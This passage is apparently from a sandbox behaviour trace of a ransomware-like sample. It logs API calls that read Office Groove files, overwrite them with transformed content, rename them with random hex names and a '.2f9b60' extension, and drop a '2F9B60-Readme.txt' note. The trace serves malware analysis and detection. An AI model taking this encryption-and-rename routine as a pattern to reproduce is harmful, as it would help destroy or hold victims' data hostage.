Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt" [0226.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\2f9b60-readme.txt")) returned 0xffffffff [0226.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x235c [0238.101] WriteFile (in: hFile=0x235c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2ba8f570, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2ba8f570*=0xba9, lpOverlapped=0x0) returned 1 [0240.607] CloseHandle (hObject=0x235c) returned 1 [0244.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43156fe0) returned 1 [0244.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43116c60) returned 1 Thread: id = 3758 os_tid = 0x10a4 [0221.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif")) returned 0x20 [0221.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", dwFileAttributes=0x20) returned 1 [0221.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ad4 [0221.458] GetFileSizeEx (in: hFile=0x1ad4, lpFileSize=0x4f9cf900 | out: lpFileSize=0x4f9cf900*=2792) returned 1 [0221.458] SetFilePointerEx (in: hFile=0x1ad4, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.458] ReadFile (in: hFile=0x1ad4, lpBuffer=0x4f9cf880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4f9cf8c8, lpOverlapped=0x0 | out: lpBuffer=0x4f9cf880*, lpNumberOfBytesRead=0x4f9cf8c8*=0x4, lpOverlapped=0x0) returned 1 [0221.606] SetFilePointerEx (in: hFile=0x1ad4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1f410 [0221.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1f380 [0221.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bb40 [0221.606] NtQuerySystemTime (in: CurrentTime=0x4f9cf7c0 | out: CurrentTime=0x4f9cf7c0*=132462178255990000) returned 0x0 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x72cad5bd [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x9b4539a [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x464148dc [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x4ca3bc63 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x25ec7ba9 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x3443842b [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x4b531cc4 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x5340b4b6 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x46c4ead0 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x113933ef [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x221e4734 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x2c15f261 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x1a6ce702 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0xf5c1a6c [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x6b2c07fe [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x48d14f12 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x18a8afe4 [0221.606] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x4423a1b8 [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x2457c19c [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x58e1974f [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x4bc5e44c [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x18c6e7be [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x21b3f8ea [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x302f761d [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x6b6faf2e [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x6d97d3b8 [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x59dce0a4 [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x557ce101 [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x3bdbda34 [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x4e025c51 [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x39deece9 [0221.607] RtlRandomEx (in: Seed=0x4f9cf7b0 | out: Seed=0x4f9cf7b0) returned 0x1771b4b1 [0221.615] ReadFile (in: hFile=0x1ad4, lpBuffer=0x42ab16b0, nNumberOfBytesToRead=0xae8, lpNumberOfBytesRead=0x4f9cf7b0, lpOverlapped=0x0 | out: lpBuffer=0x42ab16b0*, lpNumberOfBytesRead=0x4f9cf7b0*=0xae8, lpOverlapped=0x0) returned 1 [0221.615] SetFilePointerEx (in: hFile=0x1ad4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.615] WriteFile (in: hFile=0x1ad4, lpBuffer=0x42a8be10*, nNumberOfBytesToWrite=0xae8, lpNumberOfBytesWritten=0x4f9cf7b4, lpOverlapped=0x0 | out: lpBuffer=0x42a8be10*, lpNumberOfBytesWritten=0x4f9cf7b4*=0xae8, lpOverlapped=0x0) returned 1 [0223.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdfc0 [0223.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0223.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0223.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a8be10) returned 1 [0223.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab16b0) returned 1 [0223.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8695c0) returned 1 [0223.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce618d0) returned 1 [0223.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20264d10 [0223.239] SetFilePointerEx (in: hFile=0x1ad4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0223.239] WriteFile (in: hFile=0x1ad4, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x4f9cf8d0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x4f9cf8d0*=0x10c, lpOverlapped=0x0) returned 1 [0225.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62370 [0225.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0225.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0225.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2a0) returned 1 [0225.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a2a0 [0225.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a570 [0225.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0225.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0225.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0225.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62370) returned 1 [0225.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431acc20 [0225.021] sprintf (in: _Dest=0x431acc20, _Format="%c%c" | out: _Dest="44") returned 2 [0225.021] sprintf (in: _Dest=0x431acc22, _Format="%c%c" | out: _Dest="97") returned 2 [0225.021] sprintf (in: _Dest=0x431acc24, _Format="%c%c" | out: _Dest="bb") returned 2 [0225.021] sprintf (in: _Dest=0x431acc26, _Format="%c%c" | out: _Dest="7f") returned 2 [0225.021] sprintf (in: _Dest=0x431acc28, _Format="%c%c" | out: _Dest="48") returned 2 [0225.021] sprintf (in: _Dest=0x431acc2a, _Format="%c%c" | out: _Dest="8a") returned 2 [0225.021] sprintf (in: _Dest=0x431acc2c, _Format="%c%c" | out: _Dest="7b") returned 2 [0225.021] sprintf (in: _Dest=0x431acc2e, _Format="%c%c" | out: _Dest="e4") returned 2 [0225.021] sprintf (in: _Dest=0x431acc30, _Format="%c%c" | out: _Dest="54") returned 2 [0225.021] sprintf (in: _Dest=0x431acc32, _Format="%c%c" | out: _Dest="54") returned 2 [0225.021] sprintf (in: _Dest=0x431acc34, _Format="%c%c" | out: _Dest="8c") returned 2 [0225.021] sprintf (in: _Dest=0x431acc36, _Format="%c%c" | out: _Dest="5f") returned 2 [0225.021] sprintf (in: _Dest=0x431acc38, _Format="%c%c" | out: _Dest="55") returned 2 [0225.021] sprintf (in: _Dest=0x431acc3a, _Format="%c%c" | out: _Dest="a9") returned 2 [0225.021] sprintf (in: _Dest=0x431acc3c, _Format="%c%c" | out: _Dest="bd") returned 2 [0225.021] sprintf (in: _Dest=0x431acc3e, _Format="%c%c" | out: _Dest="4d") returned 2 [0225.021] sprintf (in: _Dest=0x431acc40, _Format="%c%c" | out: _Dest="82") returned 2 [0225.022] sprintf (in: _Dest=0x431acc42, _Format="%c%c" | out: _Dest="3e") returned 2 [0225.022] sprintf (in: _Dest=0x431acc44, _Format="%c%c" | out: _Dest="74") returned 2 [0225.022] sprintf (in: _Dest=0x431acc46, _Format="%c%c" | out: _Dest="2e") returned 2 [0225.022] sprintf (in: _Dest=0x431acc48, _Format="%c%c" | out: _Dest="b6") returned 2 [0225.022] sprintf (in: _Dest=0x431acc4a, _Format="%c%c" | out: _Dest="c6") returned 2 [0225.022] sprintf (in: _Dest=0x431acc4c, _Format="%c%c" | out: _Dest="92") returned 2 [0225.022] sprintf (in: _Dest=0x431acc4e, _Format="%c%c" | out: _Dest="f6") returned 2 [0225.022] sprintf (in: _Dest=0x431acc50, _Format="%c%c" | out: _Dest="7c") returned 2 [0225.022] sprintf (in: _Dest=0x431acc52, _Format="%c%c" | out: _Dest="87") returned 2 [0225.022] RtlInitAnsiString (in: DestinationString=0x4f9cf948, SourceString="4497bb7f488a7be454548c5f55a9bd4d823e742eb6c692f67c87" | out: DestinationString="4497bb7f488a7be454548c5f55a9bd4d823e742eb6c692f67c87") [0225.022] RtlAnsiStringToUnicodeString (in: DestinationString=0x4f9cf918, SourceString="4497bb7f488a7be454548c5f55a9bd4d823e742eb6c692f67c87", AllocateDestinationString=1 | out: DestinationString="4497bb7f488a7be454548c5f55a9bd4d823e742eb6c692f67c87") returned 0x0 [0225.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79e8f0 [0225.023] wcscat (in: _Dest=0x43115280, _Source="4497bb7f488a7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\4497bb7f488a7") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\4497bb7f488a7" [0225.023] wcscat (in: _Dest=0x43115280, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\4497bb7f488a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\4497bb7f488a7.2f9b60" [0225.023] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\4497bb7f488a7.2f9b60", NtPathName=0x4f9cf8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\4497bb7f488a7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0225.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78eb80 [0237.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78eb80) returned 1 [0237.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430acf90) returned 1 [0237.149] NtQueryInformationFile (in: FileHandle=0x1ad4, IoStatusBlock=0x4f9cf958, FileInformation=0x4f9cf968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4f9cf958, FileInformation=0x4f9cf968) returned 0x0 [0237.149] NtSetInformationFile (FileHandle=0x1ad4, IoStatusBlock=0x4f9cf958, FileInformation=0x4f9cf968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43115280) returned 1 [0237.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0237.752] FlushFileBuffers (hFile=0x1ad4) returned 1 [0238.235] CloseHandle (hObject=0x1ad4) returned 1 [0241.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1cecf6a0 [0241.627] wcscpy (in: _Dest=0x1cecf6a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0241.627] wcscat (in: _Dest=0x1cecf6a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt" [0241.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\2f9b60-readme.txt")) returned 0x20 [0243.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf6a0) returned 1 [0243.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e9a0) returned 1 Thread: id = 3759 os_tid = 0x10f0 [0221.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\calendar.gif")) returned 0x20 [0221.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF", dwFileAttributes=0x20) returned 1 [0221.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\calendar.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac8 [0221.462] GetFileSizeEx (in: hFile=0x1ac8, lpFileSize=0x50a1f760 | out: lpFileSize=0x50a1f760*=899) returned 1 [0221.462] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x37f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.463] ReadFile (in: hFile=0x1ac8, lpBuffer=0x50a1f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x50a1f728, lpOverlapped=0x0 | out: lpBuffer=0x50a1f6e0*, lpNumberOfBytesRead=0x50a1f728*=0x4, lpOverlapped=0x0) returned 1 [0221.556] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0221.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0221.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a50 [0221.558] NtQuerySystemTime (in: CurrentTime=0x50a1f620 | out: CurrentTime=0x50a1f620*=132462178255522000) returned 0x0 [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x382f1594 [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x4bb273fa [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x160fa6ce [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x49bd628f [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x6bcf20eb [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x3b399163 [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x667770d7 [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x2c2328d3 [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x432a589d [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x7c4ae11b [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x11d38910 [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x1982b5a [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x34e56cae [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x3d58207 [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x74dc05dd [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x49f9b344 [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x756bd2b1 [0221.558] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x7ca0929b [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x55f3c6c5 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x6e6b02d2 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x4c8ed582 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x4a1aa896 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x9ed5977 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x304a18c2 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x50af11ab [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x7b00de84 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x62b33197 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x7bcd941a [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x392b96c3 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x304de9bf [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x6fb1ffc8 [0221.559] RtlRandomEx (in: Seed=0x50a1f610 | out: Seed=0x50a1f610) returned 0x4d4fb564 [0221.566] ReadFile (in: hFile=0x1ac8, lpBuffer=0x420d9960, nNumberOfBytesToRead=0x383, lpNumberOfBytesRead=0x50a1f610, lpOverlapped=0x0 | out: lpBuffer=0x420d9960*, lpNumberOfBytesRead=0x50a1f610*=0x383, lpOverlapped=0x0) returned 1 [0221.566] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.566] WriteFile (in: hFile=0x1ac8, lpBuffer=0x420f3dd0*, nNumberOfBytesToWrite=0x383, lpNumberOfBytesWritten=0x50a1f614, lpOverlapped=0x0 | out: lpBuffer=0x420f3dd0*, lpNumberOfBytesWritten=0x50a1f614*=0x383, lpOverlapped=0x0) returned 1 [0222.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ce0 [0222.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9cb0 [0222.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9cb0) returned 1 [0222.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420f3dd0) returned 1 [0222.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d9960) returned 1 [0222.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0222.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce625a0) returned 1 [0222.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdd9cb0 [0222.891] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.891] WriteFile (in: hFile=0x1ac8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x50a1f730, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x50a1f730*=0x10a, lpOverlapped=0x0) returned 1 [0223.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce612e0 [0223.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ce40 [0223.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0223.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0223.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0223.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0223.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0223.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0223.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ce40) returned 1 [0223.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce612e0) returned 1 [0223.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad520 [0223.399] sprintf (in: _Dest=0x431ad520, _Format="%c%c" | out: _Dest="f6") returned 2 [0223.399] sprintf (in: _Dest=0x431ad522, _Format="%c%c" | out: _Dest="c9") returned 2 [0223.399] sprintf (in: _Dest=0x431ad524, _Format="%c%c" | out: _Dest="d8") returned 2 [0223.399] sprintf (in: _Dest=0x431ad526, _Format="%c%c" | out: _Dest="83") returned 2 [0223.399] sprintf (in: _Dest=0x431ad528, _Format="%c%c" | out: _Dest="73") returned 2 [0223.399] sprintf (in: _Dest=0x431ad52a, _Format="%c%c" | out: _Dest="cc") returned 2 [0223.399] sprintf (in: _Dest=0x431ad52c, _Format="%c%c" | out: _Dest="11") returned 2 [0223.399] sprintf (in: _Dest=0x431ad52e, _Format="%c%c" | out: _Dest="78") returned 2 [0223.399] sprintf (in: _Dest=0x431ad530, _Format="%c%c" | out: _Dest="b8") returned 2 [0223.399] sprintf (in: _Dest=0x431ad532, _Format="%c%c" | out: _Dest="f3") returned 2 [0223.399] sprintf (in: _Dest=0x431ad534, _Format="%c%c" | out: _Dest="09") returned 2 [0223.399] sprintf (in: _Dest=0x431ad536, _Format="%c%c" | out: _Dest="07") returned 2 [0223.399] sprintf (in: _Dest=0x431ad538, _Format="%c%c" | out: _Dest="1b") returned 2 [0223.399] sprintf (in: _Dest=0x431ad53a, _Format="%c%c" | out: _Dest="30") returned 2 [0223.399] sprintf (in: _Dest=0x431ad53c, _Format="%c%c" | out: _Dest="6e") returned 2 [0223.399] sprintf (in: _Dest=0x431ad53e, _Format="%c%c" | out: _Dest="81") returned 2 [0223.399] sprintf (in: _Dest=0x431ad540, _Format="%c%c" | out: _Dest="6e") returned 2 [0223.399] sprintf (in: _Dest=0x431ad542, _Format="%c%c" | out: _Dest="8c") returned 2 [0223.400] sprintf (in: _Dest=0x431ad544, _Format="%c%c" | out: _Dest="35") returned 2 [0223.400] sprintf (in: _Dest=0x431ad546, _Format="%c%c" | out: _Dest="c2") returned 2 [0223.400] sprintf (in: _Dest=0x431ad548, _Format="%c%c" | out: _Dest="a6") returned 2 [0223.400] sprintf (in: _Dest=0x431ad54a, _Format="%c%c" | out: _Dest="00") returned 2 [0223.400] sprintf (in: _Dest=0x431ad54c, _Format="%c%c" | out: _Dest="63") returned 2 [0223.400] sprintf (in: _Dest=0x431ad54e, _Format="%c%c" | out: _Dest="1a") returned 2 [0223.400] RtlInitAnsiString (in: DestinationString=0x50a1f7a8, 